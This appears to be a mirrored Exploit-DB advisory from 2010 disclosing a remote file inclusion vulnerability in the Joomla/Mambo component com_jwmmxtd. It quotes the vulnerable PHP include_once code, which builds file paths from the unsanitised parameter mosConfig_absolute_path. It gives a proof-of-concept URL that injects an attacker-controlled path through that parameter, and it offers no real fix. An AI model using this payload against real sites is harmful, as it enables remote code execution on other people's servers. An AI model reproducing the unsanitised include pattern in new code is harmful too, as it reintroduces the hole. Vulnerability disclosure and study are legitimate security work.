Joomla! Component com_jwmmxtd – Remote File Inclusion - 体验盒子

作者： eidelweiss

日期： 2010-03-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11845/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

#################################################################

Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability

#################################################################

Info: "JW Media Manager XTD" (com_jwmmxtd) Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x

Version: 1.2

License: http://www.gnu.org/copyleft/gpl.html

Page: http://www.joomlaworks.gr

Download: http://joomlaworks.googlecode.com/files/com_jwmmxtd_v1.2.zip

#################################################################

Author: eidelweiss

Contact: eidelweiss[at]cyberservices[dot]com

Thanks: JosS (hack0wn) - r0073r & 0x1D (inj3ct0r) - LeQhi - aRiee - idiot_inside - kuris

Special: AL-MARHUM - [D]eal [C]yber - syabilla_putri (miss u)

#################################################################

-=[ BUG ]=-

[+] admin.jwmmxtd.php

-=[ VULN ]=-

// Language File

if (file_exists($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php')) {

include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/'.$mosConfig_lang.'.php');

} else {

include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/language/english.php');

}

// PCLZIP Library

include_once ($mosConfig_absolute_path.'/administrator/components/'.JWMMXTD_COMP.'/lib/pclzip.class.php');

-=[ P0C ]=-

http://127.0.0.1/administrator/components/com_jwmmxtd/admin.jwmmxtd.php?mosConfig_absolute_path= [inj3ct0r]

#################################################################

[ FIX ] Use Your Skill and Play Your Imagination

#################################################################